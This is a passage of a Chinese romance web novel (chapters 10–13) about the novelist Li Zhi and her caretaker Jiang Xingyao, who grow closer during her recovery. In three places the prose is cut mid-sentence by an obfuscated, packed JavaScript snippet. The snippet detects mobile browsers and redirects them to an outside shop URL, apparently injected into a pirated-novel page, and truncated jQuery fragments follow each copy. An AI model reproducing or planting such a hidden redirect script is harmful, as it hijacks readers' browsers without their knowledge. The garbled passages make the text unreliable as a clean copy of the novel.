沉声道:“要不,给你洗一次头?” * 卫生间里,洗手池旁架起了梯凳,利知坐在最上层,双腿踩在最低一层,整个人仰躺着。 温水潺潺流下,蒋星尧微弯下腰,托着她的后脑勺,修长的手指在湿透的发间小心穿插着。 磁石手链时不时碰到利知的脸庞、脖子,冰冰凉凉的,激起一阵的激灵。 蒋星尧每次都会抬起手,把手链往上提一提,但很快又会滑下来。 他无奈道:“是不是不太舒服了?” 利知摇着头说:“就有点凉凉的。” “手链是我奶奶给的,说不能取下的。” “没事没事,不影响的。” 说话间一不小心撞进他漆黑的眸里,虽是在言笑谈话,眼里却一丝不苟的。 好像给她洗头这件事,多么神圣似的。 蒋星尧舀了一捧水打湿她的发际,手指轻轻按摩着头皮。 “你的身体还没恢复,记住别熬夜。”蒋星尧的动作轻缓,却一点都不含糊地给她交代,“别只吃外卖。写不出小说的时候也别逼自己,适当出去走走;病好了之后身体还是很虚的,到时约个时间,去找宋何调理一下。” “嗯……”利知缓缓闭上眼,很害怕眼里会透露太多的信息。 这,就是他说再见的方式吗? 利知是初二下学期回的栗城读书的,当时她住在姑姑家。要说以前是漂泊无定,那么住在姑姑家则有种不自在。 在姑姑家她始终乖巧而小心翼翼,尽可能地体贴和善解人意。 姑姑待她不错,吃穿用度跟两个表弟一样。 那会姑姑每天晚上都会准备三份水果给利知和两个表弟。两个表弟都不喜欢吃水果,每次象征性地吃上一口就搁那了。 晚上利知饿了,也不好捣鼓其他吃的,便会把剩下的水果都吃掉。 那份量,差不多把往后的几年的水果份量都攒足,后来因为缺乏维生素,她才尝试着拌沙拉酱吃。 上的高中正好离家里近,她就有理由回家住了,哪怕一个人住。 住着住着,一个人就住过了这么多年,她早已习惯了一个人的生活。 一个人吃饭,一个人看电影,不想做饭叫外卖,病到不能动了就打120。 她以为自己很喜欢,也很享受一个人的生活。 可蒋星尧的到来,让她有了别样的体验。 原来有人做饭吃比外卖香多了; 两个人吃饭,两个人看电影的感觉还不赖; 病了有人照料,终于可以彻底放心地病了。 哦,蒋星尧还不会说她嘴刁,只吃水果沙拉。 她才知道,过去所谓的习惯,只不过是一种自我保护机制,逼迫自己被动去适应。那不是真的喜欢。 蒋星尧离开这里之后,是不是同样会彻夜照顾下一个客户? 会给那个人按摩,给那人摸腹肌吗? 可能那个人不会喜欢水果沙拉,他会给ta准备点别的。 利知觉得自己要疯了,居然羡慕嫉妒他即将要陪护的人。 利知不敢睁开眼了,因为眼底的潮意越来越浓了。 “是不是要上护发素?”蒋星尧的声音夹杂着流水声响起。 “不,不用了。”利知微微向后仰,任由流水冲过眼睛,一下子动作过猛呛到了鼻子,她捂着鼻唇,咳嗽起来。 蒋星尧连忙关掉水,扶她坐起来,再用干毛巾包住她的头发,一只手轻轻拍她的背。 “还好吗?”蒋星尧低头去看她,只见那双眼睑阖着,沾湿了的眼睫毛服贴地耷拉在一起,时不时一颤一颤的,一副楚楚可怜的样子。 在利知不经意地抬起眼睑之时,他对上那双充满潮意的双眼。 他的动作一僵,手徐徐越过瘦薄的肩头,宽大的手掌更衬得那张脸蛋小巧,拇指轻轻划过细眉、眼睑,指腹之下清晰地感受到一颤。 利知侧过脸,避开了他的触碰。 “都怪我,笨手笨脚的,”他哑着声苦笑道,“洗头都能搞砸。” 10. 第 10 章 蒋星尧说要给她吹头发,利知拒绝了,抱着吹风筒逃回了房间。 吹风筒的轰鸣声一响起,她缓缓地吹起头发。 只是想象一下蒋星尧离开,她就感觉无比低落。 有些事,撒谎、装傻可能骗得过别人,却骗不了自己的。 时隔多年,她还是不受控制地,喜欢上同一个人了。 想着想着,她不可抑制地哭了出来,她知道自己是因为什么而哭,才任由自己放肆地哭一场。 那种感觉太熟悉了,甜美又苦涩。 喜欢上一个人,总觉得那人身上带着光,而自己却这不好,那也不好。还有那份占有欲。 她到现在依然清晰记得,韩习冰曾经说过的话: “你给蒋星尧那么高调地送过水,都没人给你们制造一段绯闻,而我只和他站在一块,整个学校的人都认为我们是一对的。利知,不是我故意贬低你,事实是你没有一样配得上他的。” 韩习冰最知道什么样的话最戳她要害。 心里实在堵得慌,利知拿出手机,点开小金库,把里面的数字从左数到右,再从右数到左,心里顺畅了很多了。 利知是在高二开始写小说的,笨拙地写友情,写爱情,没想到赚到了人生的第一桶金,虽然不多,足以给她带来莫大的安慰和鼓励。 之后她就养成了一个小习惯,努力存钱,把小金库慢慢壮大起来,心情不好的时候打开来看看,坏心情就会被赶走了。 这时蒋星尧的信息进来了:[出来看电影吗?] 利知盯着镜子中泛红的眼尾,纠结了一会,低头回:[不了,我有些累了] 那边很快回复了个好字。 利知把手机一丢,往床上一躺,隐隐约约能听到外面的电视声。 翻身趴在床上玩手机,打开朋友圈。 咦?蒋星尧居然发动态了! 要知道蒋星尧发的动态总共都没十条,而且都是转发的为主。 眼下的这条,真让利知大叫稀奇了。 [喝酒吗?] 配图是茶几上的三罐啤酒,一罐瓶身被揉扁放倒,另外两罐中有一罐拉环向上。 他还给自己评论:[她还没好呢,暂时不能喝] 他在给谁回复? 是朋友呢,还是他以前照顾过的人? 还有,他为什么喝酒呢? 也和她一样,为即将离开而心情不好吗? 就!离谱了吧! 利知不期然地想起蒋星尧当年收下了她送的桶装水那天的情景。 在一阵阵起伏的起哄声中,蒋星尧的嘴角挂着笑,姿态从容到仿佛对周遭的一切早已见惯不怪。 他俯身在她耳边低语的时候,起哄声达到了高潮。 闲散一笑都能带着暧昧,更何况是让人浮想联翩的姿势。 他用只有利知才能听到的声音说:“以后别送了,再送我不会收了哦。” 暧昧到让人沉沦的语气,说出拒人千里的话。 那一刻是有些恼羞成怒的,可事后又觉得再正常不过。 没有谁规定,任何的示好都可以得到满意的答复的。 在当时的情景,蒋星尧之所以接了她的水,不过是顾及她一个女孩的脸面罢了。 换一个角度来看,利知还要感谢他,最起码没有令她太难堪。 那次的示好明着接受实质拒绝,利知并没想太多,毕竟还没掺杂过多感情。 那么现在呢? 这几天的朝夕相处过后,她好像有了更多想要的了。 利知的心噗噗噗地越跳越快,吸气呼气几个来回,然后下了床,拉开房门,走了出去。 屋里没开吊灯,只有沙发旁的台灯泛出孱弱的光,以及电视屏幕因画面变动闪烁的光。 听闻声响,沙发上的人转过头来,见到利知,无波的眼里顿时迸射出杳杳星光。 利知被盯得有些不自然,轻咳了一声,“看,看什么电影呢?” 她边说着缓缓走到沙发上,坐下,离蒋星尧有半臂的距离。 蒋星尧没作声,视线跟随着利知变动,眼神越发深邃。 气氛有些尴尬。 “那个,我睡不着,”利知有些局促地指了指电视,“看看电影,助眠。” 他轻轻地嗯了一声,那嗓音在夜里显得格外低沉,还有些轻松愉悦。 蒋星尧转换了个姿势,修长的腿搭在另一条腿上,手肘闲闲地搭在沙发靠背上,这么一来不单缩小了和利知的距离,只要利知一动,就能落入他的怀抱范围。 利知脸热热的,双手端正地放在膝盖上,这时才把注意力放到电视上。 居然是那部还没看完的热血电影。 “上次只看了二十分钟。”蒋星尧解释说。 “哦是啊哈哈哈……”也没多尴尬的! 利知瞄了眼茶几上的啤酒,问道:“怎么突然喝酒了?” “想喝,就喝了。”今晚的蒋星尧有那么些放纵。 电视的画面在不断变动着,光线明明灭灭,蒋星尧整个人松松散散的,他一瞬不瞬地看着利知,许是喝了酒的缘故,眼神添了几分平日没有的钝感。 这么一对比,反倒是作为主人家的利知过于拘谨了。 她深吸了一口气,努力让自己放松下来。 她呵呵轻笑道:“那个……想和你商量个事。” “好。” “就是嘛……我现在还没全好嘛,我之所以找陪护,也是为了让我妈放心,她怕我像小时候那样惊厥,身边没个人……” “不知道你找没找到下一份工作……我就想,如果可以的话……要不,你再待多一周?” 利知吞吞吐吐地说着,内心都在瞧不起自己了。 以前示好好歹够直白,现在想做挽留,却要编一大堆蹩脚的理由。 真的越活越不如从前了。 蒋星尧依然看着她,眼神暗沉深邃,仿佛有风起云涌之势,又像是黑夜里如墨般平静的湖水。 利知一时看不懂。 只得笨拙地做着利害分析,“你看啊,去下一个家你又要把你半个家的家当搬进去,还要和那个家的人磨合,适应他们的生活习惯……” “我,我们相处了一周了,有了最起码的了解,两边对比的话,是不是留在我这里会比较好?” “再说了,在我这还有加班费呢!” 利知说了一通,身体不经觉地松懈下来,一条腿横放到沙发上,身体往前倾,试图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713181|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做最后的说服,“俗话说的,做生不如做熟。” 蒋星尧眼里有细碎的光芒,嘴角缓缓勾起一个弧度,“做生不如做熟啊?” 又是惯常的暧昧又带着揶揄的语气。 利知心脏砰砰跳,脑海里不禁又浮现送水的情景,还有她说的那句大咧咧的“拿去吧,别客气”。 与年少时相比,此刻更多是,成年人的试探。 没有明摆着的是或不是,可个中的暗涌,更多的是心照不宣吧。 利知盯着电视,感官却像变成皮诺曹的长鼻子,想探近旁边的人,再近点。 画面的变换,吵闹的声音,好像都自动被她屏蔽掉。 思绪万千不过是几秒时间,耳边响起低沉悦耳的声音,“有道理。” 蒋星尧用搭在沙发背的手撑着脑袋,像条软骨鱼一般,头软软地往前拢。 这么一来,两人的距离是前所未有的近了。 利知能清晰地感受到一股带着灼热的气息,混合着酒香,随着他的动作,在她的脸庞、脖子来回游动。 她只好如木雕泥塑般,一动不动。 “知知,你需要我,我就留下来。” 又强调般,“什么时候需要,都可以的。” 心跳漏了几拍。 这就成功了? 利知犹疑地望过去,他的眼神比刚才清亮了不少,就这么盯着利知低低地笑。 虽然还是很帅,但傻。 利知轻轻推着蒋星尧的肩膀,“你的酒量没那么差吧?” “两罐啤酒哪能醉。”说话间他把噪音压低,“我这是开心的,酒不醉人人自醉。” 两人安静地看着电影。 事实上利知僵直着身子,压根没看进去,今天的心情犹如坐了一天的过山车,得好好平复一下才行。 正想着,忽然听到蒋星尧说:“刚才,我很害怕。” “啊?害怕什么?” 蒋星尧的视线并未离开电视屏幕,利知的角度正好看到他完美流畅的侧脸,挺拔的鼻峰,刀削般的下颌骨。 “如果你不出来,”蒋星尧说话的语气仿佛还带着淡淡的失落,“我只能一个人看电影了。” 一个人,怕黑吗? 利知噗嗤一声笑了出来,“这么大个人还怕黑哈哈哈……” 蒋星尧的视线已从电视转而她身上。 他整个人笼罩在浮光掠影当中,浮漾的流光与橘色的灯光相影交错,杂乱而温柔。 眼里更如墨黑的夜空中,有随意散落的群星,微明微暗,犹如一个巨型磁盘,让抬头望星的人毫不察觉的,就被吸进那片漩涡当中,无法自拔。 利知没骨气地开溜回房了。 今晚的勇气电量已耗尽了。 她怕一个会错意,那么接下来的2+7天,不知道该怎么面对呢! 没多久就收到蒋星尧发来的信息: [电影还没看完呢] 又自顾自说:[算了,留着下次看吧] 利知盯着聊天框出神了好一会,她好像忽略了一个要点。 他说他害怕,可他的脸上怎么看都没有一点害怕的表情啊。 不是怕黑的话, 那, 他怕什么? 11. 第 11 章 那晚之后,好像有什么变了,又好像什么都没变。 蒋星尧依旧不大会切菜,虽然利知切的也不好,但胜他一点,就足以成为一大谈资了。 蒋星尧也不恼,还特地把利知请进厨房来,两人一分高低,见利知赢了还真心实意地夸赞了一番,正当利知飘飘然的时候,他温柔地说,之后切菜的任务,就交给她了。 哦!她是凭实力搬石头砸自己的脚! 第七天,感觉身体倍好了。 同时迎来了泽姐强势而温情的预告:[亲爱的糖糖,温馨提示一下,明天是你上班赶大纲的大日子,记得今晚早点洗洗睡,迎接美好的一天] 利知很庆幸泽姐习惯了叫她“糖糖”,她本来不喜欢吃糖的,要是叫她荔枝或者牛奶的话,她可能会连荔枝和牛奶都不想再碰了! 因为,糖糖=快码字!! [亲爱的泽姐,可能还需要些时间哈] [七天还不够你想好?] [忙着生病呢……] 泽姐终于怒了:[是我没生过病吗?你说你恋爱了光顾着甜蜜姑且还有说服力些] 恋爱吗? 利知面前的手机稍微挪离,不远处的蒋星尧正低着头,认真地做着水果沙拉。 他把沙拉酱一收,端着沙拉碗往她信步走来。 利知连忙把手机摆正,挡在自己前面。 “要躺着吃?”蒋星尧盘腿坐在地毯上,歪着头看她,见利知笑着点了点头,叉起一块牛油果,绕过手机递到利知嘴边, 利知张嘴咬住牛油果,视线重新投回手机上,屏幕已经锁上,倒影着自己的样子,偏黑白的影像看不清肤色,却能辨出含情的眉目。 可能太久没得到回复,泽姐问:[人呢?] 利知还没来得及回,泽姐发来连环问:[不会真的恋爱了吧?] [什么时候开始的?] [上一本的亲密互动还被读者笑位置不对] [每次你写亲密戏我就比读者还紧张,你那纸上谈兵的技术啊,我恨不得亲自去教你!] 利知:[………………] 泽姐:[我是不是可以展望一下,新文会大有进步?] [不用展望,还在酝酿] [赶紧回,恋没恋爱?] 看来是没想要放过她了,利知只好老实交待: [有目标了] [但还没到恋爱的地步] 这下泽姐直接发来语音。依利知对她的了解,这条语音的分贝肯定很高。 于是悄悄侧了侧身,往里靠才点开来。 “哦嚯嚯嚯!”那招牌的笑声充斥着耳边,利知连忙把音量调低。 “才有目标就把你迷到神魂颠倒了,真谈起恋爱还得了?” “不过也是好的开始,我得和出版商说了下,看他们还敢不敢说我的作者没经验!” 利知手忙脚乱地打着字,[别啊、,十划还没一撇呢、。,] “看把你急得,十划当然没一撇了,只有一横一竖哈哈哈……” 利知无力放下手机,对上蒋星尧投来的目光,清清幽幽,却耐人寻味。 利知心虚地别开视线,清咳了一声掩饰着尴尬,“告诉你一个好消息,我明天要工作了!” 蒋星尧叉起第二块水果递了过去,“是要赶你之前说的那个大纲吗?” “嗯嗯是的。”她当时只稍微提了下,没想到他还记得。 蒋星尧沉吟了会,问:“还是在家里工作吧?” “对。”利知指了指自己的房间,“我大部分时间都在里面码字。” “好。”蒋星尧放下沙拉碗,拍了拍手站起来,“来,按摩时间到!” 哦嚯! 看蒋星尧每天都热衷于加班的那股劲,利知越来越偏向于后来的猜测。 ——他想留下来,是因为她给的太多了。 不过利知倒看开了。 谁工作不是为了挣钱? 东家西家一样打,谁给的多去谁那。 哎! 有机会得和泽姐说清楚,她的感情,是用钱谈来的呜呜呜…… 脸颊被轻轻戳了一下,耳边响起侃侃的笑声,“你这是什么表情,哭不似哭,笑不似笑。” “那么不喜欢工作吗?” “我喜欢工作的!” 不工作怎么养得起日薪过千的人啊! 利知趴着,享受着手法越来越娴熟的按摩。 其实她一直有个疑问,蒋星尧怎么突然做起了住家陪护。 如是想,也如是问了。 蒋星尧的动作一顿,“想知道?” “嗯啊。” “很简单啊,”蒋星尧笑着,半真半假地说,“你需要陪护,我就来了。” 利知整个人僵住,脸不争气地红了起来。 人家不过是嘴花花的一句,她还是不受控制,心跳都不规律了。 利知敷衍了两声,假装没听清,趴着安心享受按摩。 “利知。” “嗯?”以往都是拖腔带调地叫她知知,这次怎么一本正经地喊呢? “过几天我可能要忙起来,在家的时间会比较少。”蒋星尧停顿了一下,“不过不用担心三餐,我都会为你准备的。” 利知睁开眼,侧过身来看着他,“你还要照顾其他人吗?” 蒋星尧先是愣了一下,随即无奈一笑,“我不是还在照顾你吗?哪还有时间照顾其他人。” “我哪知道你!”语气充满幽怨。 “我不做陪护了,”蒋星尧忽然说,“换份工作,好不好?” 利知眼睛微亮,仔细端详了他的表情,不像是开玩笑的。 “怎么突然想到换工作了?” “做陪护本来不是长久的,”蒋星尧忽然看向她,“得有份稳定的,有持续收入的工作啊。” “好啊好啊!”利知的小手在空中握拳,做了个努力的手势,“我支持你!” 可能久没运动了,利知小腿很酸痛,便叫蒋星尧给她按摩小腿。 蒋星尧坐在沙发上,利知把小腿放在他的腿上。 随着蒋星尧的动作,磁石手链时不时碰到她,冰冰凉凉的,还很有坠感。 利知问:“你戴的手链,重不重?” “还行。”蒋星尧说,“刚开始戴会有些不习惯,适应了就没事。” 利知转了身,侧躺着,指了指自己小腿肚,“这里,好酸。” 利知今天穿的是过膝的长睡裙,圆领,短袖,是很普遍的那种,平时站着倒没什么,此刻因为转身,裙子无意间往上提拉,整条腿毫无防备地展露在空气中,细嫩,白晳,匀称。 蒋星尧默默地移开了视线,喉结不自觉地滚动了下。 “嗯?怎么不动了?” 蒋星尧转头看向她,利知正用手支起脑袋看向他。身上的布料因为侧躺的姿势,把身体的曲线包裹得更玲珑,那双眼却是不涉世般的纯净,就这么直愣愣地望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713182|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 蒋星尧闭上眼,暗骂了自己一句,再睁开眼时,早已把杂乱的心思埋藏起来。 他笑了笑,凑近她,用故意压低的声音说:“别再动了!” 利知还在状态外,就感觉裙子被轻轻地一拉,恰好盖过了膝盖。 大腿侧似乎还留有指尖滑过的微热,那感觉像是流星划过星空,洇出了一条绚烂的尾巴。 利知的脸噌地红了,倏地坐了起来,不敢再看他一眼,猛地跑回了房间。 利知再次打开房门,已经是十五分钟后的事了。 当然,她是做好了心理建设才毅然走出来了。 她欣然迎上蒋星尧的视线,还娇憨地抬了抬下巴。 蒋星尧没忍住笑了出来,指着她的裤腿说:“裤子要拖地了。” 利知揪着裤头往上一提,“最近流行扫把裤,见谅一下。” 蒋星尧点了点头,“穿着舒服就行。” 利知有些郁闷,不知是因为他的话,还是他将笑不笑的表情,“有那么好笑吗?” “咳,没笑了。” “我,我看了你的腹肌,你看了我的大腿,我们算是扯平了。”她承认了,她就想找个台阶下而已! “哦——”蒋星尧把发音拉得长长得,对她wink一下,“你还摸过呢,要扯平吗?” “我,我给钱了的!”利知很庆幸当初花钱买了快乐,果然钱是能解决生活中99%的问题,争起理来作用更是扛扛的。 至于这个理到底对不对嘛,不用管! 她还不忘嫌弃道:“就是有点短。” 蒋星尧嗤笑了一声,那短促的笑声,竟夹杂着几分凛然。 气氛骤降。 蒋星尧向利知走近,边走边解着扣子。他今天穿着黑色丝绸质感的睡衣,当他把扣子解开了,衣服垂下,摇摇拽拽的,里面的光景若隐若现。 利知看他那架势不由得后退了两步,“嗳不是!我开开玩笑的。” 她只是成口头之快而已。 退了没几步就靠墙没路可退了。 蒋星尧在她前面停下,捉住她的手,摁在他的腹部。 他的力度算不上温柔,好像昭示着使力者此刻是不好惹的状态。 “怎么样?”蒋星尧领着那小手,在平原上尽情遨游,一脸的戏虐,“还短吗?” “不短不短!” 男的可能都不太喜欢被人说短吧,况且还被提了两次,看来这个“理”争得有些过了。 利知硬着头皮,讨饶地夸赞着,“好紧致,好张力,好MAN……” 手上的力突然一松,利知本来没使力的,突然卸了力,她的手滑了下来,尾指和无名指卡在了裤头下。 “……” 气氛僵凝。 利知感觉嘴唇变干了,悄悄伸手舌尖滋润了下。尾指摆动,正要抽出来,被蒋星尧摁住。 “嘶。” 一声抽气声,也可能是重叠的两声。 “时间到了。”蒋星尧再次开口时声音暗哑,把利知的手指抽出来,转身回房了。 就在他转身之际,利知清晰地看到他的耳廓如充血般的红。 利知在原地呆愣了好一会才回神,因为实在是!太过震惊了! 就在刚才,她的手指还卡在蒋星尧的裤头里,好像触到了什么不得了的东西。 那触感就像是, 树木丛生,百草丰茂。 她,好像把蒋星尧,调戏了…… 12. 第 12 章 蒋星尧从房间出来时,利知在沙发上盘腿坐着,一触到他的视线,连忙移开看向别处。 遂想到占了便宜的是她,理应化解一下尴尬吧? 于是转头看向蒋星尧,露出一个干巴巴的笑,“等下吃什么呀?要不要吃酱卤鸭?” 蒋星尧已经走到她面前了,低头看她,“今天买的是鸡。” “葱油鸡?” 蒋星尧默了默,“我记得跟你说过,我买了现成的,手撕鸡。” “……” 这天,没法聊了! 就让尴尬它继续尴尬吧! 蒋星尧坐了下来,“你想吃葱油鸡,我可以做的。” “不用,手撕鸡就很好吃。” 安静了一瞬。 利知转过头来,只见蒋星尧侧着身,长臂撑在沙发背上,就这么直直地望着她。 “怎,怎么了?”利知问。 蒋星尧笑着说:“刚才,怪不好意思的。” 利知的脑袋嗡的一声响,实在没料到他会大剌剌地挑明。 他的脸上盈着笑意,眼里闪着细碎的光。看不出有半点不好意思啊。 “那,你还好吧?” “没什么,就是——”蒋星尧停顿下来,俯身凑过去,在利知的耳边压着声说了几个字。 利知全程呆木若鸡,连蒋星尧什么时候走开的都无察觉。 过了好一会,她才回过神来,蒋星尧已经站在阳台了。 今天的阳光格外清透,蒋星尧迎光而站,身后是一道颀长而幽暗的影子。他腰背挺直,一手插在裤兜里,一只手握着浇水壶,闲适却不失细致地给两盆绿植浇水。 利知这时才留意到,蒋星尧已经换下了那套黑色的睡衣,此时穿的是灰色的休闲裤和白色短袖。 上一次,她摸了他的腹肌之后,他也是换衣服了。 他换衣服了 换衣服了 衣服…… 蒋星尧刚才在她耳边说出的话,如一个刚出锅的糍粑,黏腻又发烫。 他在她耳边说的是,“起反应了。” * 第八天,利知就哼哼唧唧地赶大纲。 蒋星尧去了一趟医院,回来的时候提着一堆煎好的中药,说是叫宋何结合了利知的身体状情况开的调理药,需要早晚各喝一副。 她不喜欢吃糖,喝了药如果再吃糖那简直是煎熬的延续,蒋星尧就给她准备了九制陈皮。 虽是如此,利知还是感受到了前所未有的口苦心苦身体苦。 利知一忙起来就容易进入忘我状态,可能是她大部分的时间都待房间里,蒋星尧待房间的时间也变多了,有时午饭后还会消失一阵子,直到傍晚才回来。 利知又被方巧泽和出版商两座大山催促着,也没心思去管蒋星尧的事了。 第十天。 利知睡醒出来就不见蒋星尧了。桌子上有蒋星尧给她留言了,说粥在锅里保温,包子凉了再放蒸锅蒸一下。 蒋星尧中午回来时带了一家米其林餐厅的饭菜。 利知打趣他,“赚大钱了?” “是啊。”蒋星尧笑着对她眨眨眼,“接受投喂吗?” “接受接受!” 蒋星尧似乎很忙,吃完午饭没多久又出去了,离开前告诉利知,晚饭他有事不能回来,到时会叫人给她送餐。 利知说他忙的话她自己可以搞定晚餐的。蒋星尧坚持,叫她安心码字就好了。 给她送晚饭的人一身西装革履,戴着厚重的黑框眼镜,全程恭恭敬敬的,没和利知对视,双手递上饭菜时,说了句“请慢用”,然后走了。 利知看着他的背影,若有所思,与其说是恭敬,不如更多的是,颤巍巍。 利知才把打包的饭菜放桌子上,蒋星尧的信息就来了:[饭菜还热吗?] 利知回:[热的呢] [趁热吃] [别忘了饭后再热一副药喝] 利知吃完饭就回房了,期间洗完澡又回去继续码字。码着码着实在太累了,就想着趴桌上休息一会,结果不知不觉睡着了。 再次醒来已经是凌晨两点了。 她伸了个懒腰,揉了揉眼睛,募地想起晚上份的药还没喝呢。 走出房间,脚步忽地一顿,屋里灯光敞亮,一切都与她进房前没任何变动。 利知侧过头看了一眼那扇紧闭的房门。 这么晚了,他还没回来吗? 厨房里,利知把药取出热好,苦涩的药味充盈着整个空间里。 她皱着小脸,把药端到吧台上,又找来了制陈皮,嘴里念念有词,做着喝药前的心理准备。 这时大门传来声响,蒋星尧带着深夜的雾气走了进来,还带着一股若有似无的酒气。屋内瞬间被酒香气和药味充斥着。 他穿着白衬衫,黑西裤,手臂处挽着黑色西装,衬衫领口敞开,藏蓝色的领带松松地挂着。 两人的视线在空中碰撞,皆是一怔。 “是醒了,还是还没睡?”蒋星尧向她走来,把外套随手搭在椅背,视线落在桌子上的药上,微微皱起了眉,“这么晚才喝药?” 语气隐隐带着责备。 “忘了……”利知小声嘀咕,“忙着忙着就睡着了,才刚醒来。” 蒋星尧叹了一口气,“你才好,别熬坏身体了。” 利知知道蒋星尧是为了她好,便低声应下了。 蒋星尧洗了手出来,端起药碗,碗壁传来的温度适中,便递给她,“可以喝了。” 利知苦着脸喝完了,苦味还未在嘴里扩散,两块陈皮已经抵在她嘴边了,她张嘴吃下。 在蒋星尧洗碗的时候,利知给蒋星尧倒了杯水,等他洗好碗递了过去。 他的手掌还带着水气,接过水杯时,将将裹住了利知的食指,然后就着两个人的手,低着头把水喝光了。 再次抬起头来,黑眸里眼波流转,嘴角泛着晶莹的水光,嘴角轻轻一勾,整张脸艳色斑斓,又似有着无尽的脉脉情义。 “谢谢!”低沉的声音被水润过后,带着浮漾的湿意。 利知不动声色地抽回手,低声问道:“怎么这么晚回来?” “有个应酬,脱不开身。” “哦……” 蒋星尧斜靠着琉璃台,满身的疲惫这时像卸了担子似的,席卷而来,加上喝了酒的缘故,头有些晕。 他垂眸看着利知,灯光在她的头顶晕染出一圈圈的光圈。 他伸出手指,落在她的头顶,轻轻一划,光圈被打乱了,层层叠叠。 “知知。”他轻声唤道。 “嗯?” “过段时间,等我忙完,再好好陪你,好不好?” 利知愣了一下,轻轻哦了一声,然后抬头看他。 蒋星尧把利知的头发拔到她的肩后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713183|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前的人儿眼神有些空蒙,柔光下整张小脸剔透无暇,整个人清秀又可爱。 蒋星尧的内心深处仿佛装了个滚滚红炉,有种欲、望呼之欲出,甜美又狂烈。 他自嘲一笑,看来醉得不清了。 他哑着声音说:“很晚了,快去睡吧。” “我,我再喝点水,你先回去吧。” 利知垂眸抿着唇,听到那扇房门打开又关上,才惊觉自己背着的手,一直握着他刚喝过水的杯子,紧紧的。 她叹了口气,把杯子放了回去,又给自己倒了一杯子,小口小口地喝起来。 嘴里呛人的苦味已经淡去了,剩下一股难以言说的涩味。 蒋星尧,也许是今天出去的时间太久了吧,他的身上除了酒气之外,还夹杂着一股淡淡的香水味,是男士香水,如树香沁鼻,如雪松淡雅,还有清贵。 她从未闻过的,可并不违和,反而觉得这股香味天生就属于他的。 那种感觉就好像,走进一家高奢品牌店,里面的香气,甚至是空气,都浑然天成的。 还有,他白天出门的时候,穿的不是西装。 * 昨晚没睡好,利知起床晚了些,走出房间居然看到蒋星尧还在。 “今天不用出去了吗?”利知问。 “出的。”蒋星尧放下手中的平板,起身进了厨房,出来时端着早餐,“吃过早餐再去。” 利知低头看着桌子上满当当的早餐,有一瞬的恍然。 这几天蒋星尧都出门早,她都是一个人吃早餐。 他今天是想和她吃过早餐再出去吗? 两人安静地用完早餐。 利知在蒋星尧出门没多久也出去了。 昨天高晓莱说要请她吃饭,听着语音里那讨饶的语气,利知就知道,这顿饭绝对吃得过! 到了约定的餐厅,高晓莱已经到了。 招呼利知坐下后,高晓莱眯着眼把她打量了一番,而后哟嚯了一声,“生个病居然胖了呀!皮肤还Q弹了!” “看来那位做的饭菜很合口嘛!”她又装作神秘地凑过来,笑得一脸奸诈又暧昧,“还是他本人比较合口?” 利知皮笑肉不笑,“滚。” 这顿饭目的明确,就是高晓莱负饭请罪的。 她说那天来探望利知本来就是温女士的意思,回去后高晓莱左瞒右瞒,还是逃不过温女士的顺风耳。 在温女士的威逼利诱下,高晓莱还是坦白了一切,于是有了温女士来视频质问。 利知听完温柔一笑,只是笑意并不达眼底,她柔声问道:“我妈给了你什么好处?” 高晓莱憨憨地举起双手,“香家的嘉柏丽尔。” 嚯! 温女士果然最懂,攻人直攻要害。 见利知的笑意淡了下来,高晓莱忙说:“哎呀,你给的也很诱惑啦,就是嘛……你妈你也了解,我不说的,她会联合我妈一起说服我的,那我还不如在她还没下最后通牒之前投降了。” “算了,”利知摆摆手,“这件事也算过了,不提了。” “那位走了吗?”高晓莱问。 利知一顿,“还没呢。” “哈!”高晓莱掰着手指数了数,“不是照顾一周的吗?这都快两周了吧?” “我让他待两周了……” “嗯?”高晓莱眼神炯炯,透着八卦的精光,“有情况!” 13. 第 13 章 一想到最近早出晚归的蒋星尧,利知的表情淡了下来。 高晓莱见她满脸的怅然若失,问她:“不会还是爱而不得吧?” “是这样的……”利知把蒋星尧最近的反常大概和高晓莱说了下。 高晓莱安静地听完后叹了一口气,神色凝重地说:“你们相处还不到一个月,说到底,你对他的了解不多啊。” 利知张了张嘴,想说他们高中就认识的,可细想,也只是认识,实际上的了解,还真的只有这段时间。 高晓莱问:“有没可能他在你这里领一份工资,然后又去别的家干陪护?” “他说了最近有其他工作,”利知顿了一下,“但不是做陪护了。” “在你家领着工资去干别的工作?”高晓莱满脸不可思议,“这算不算软饭硬吃了?” “他不是……”利知一时不知如何解释,更多的难以启齿,毕竟当初她是亲眼看到他线上面试的,然后因为不舍得,硬要把一周期限延长到了两周,如果那边已经敲定了,两边兼顾也是情理之中。 再者他在她这里的工作也没落下。 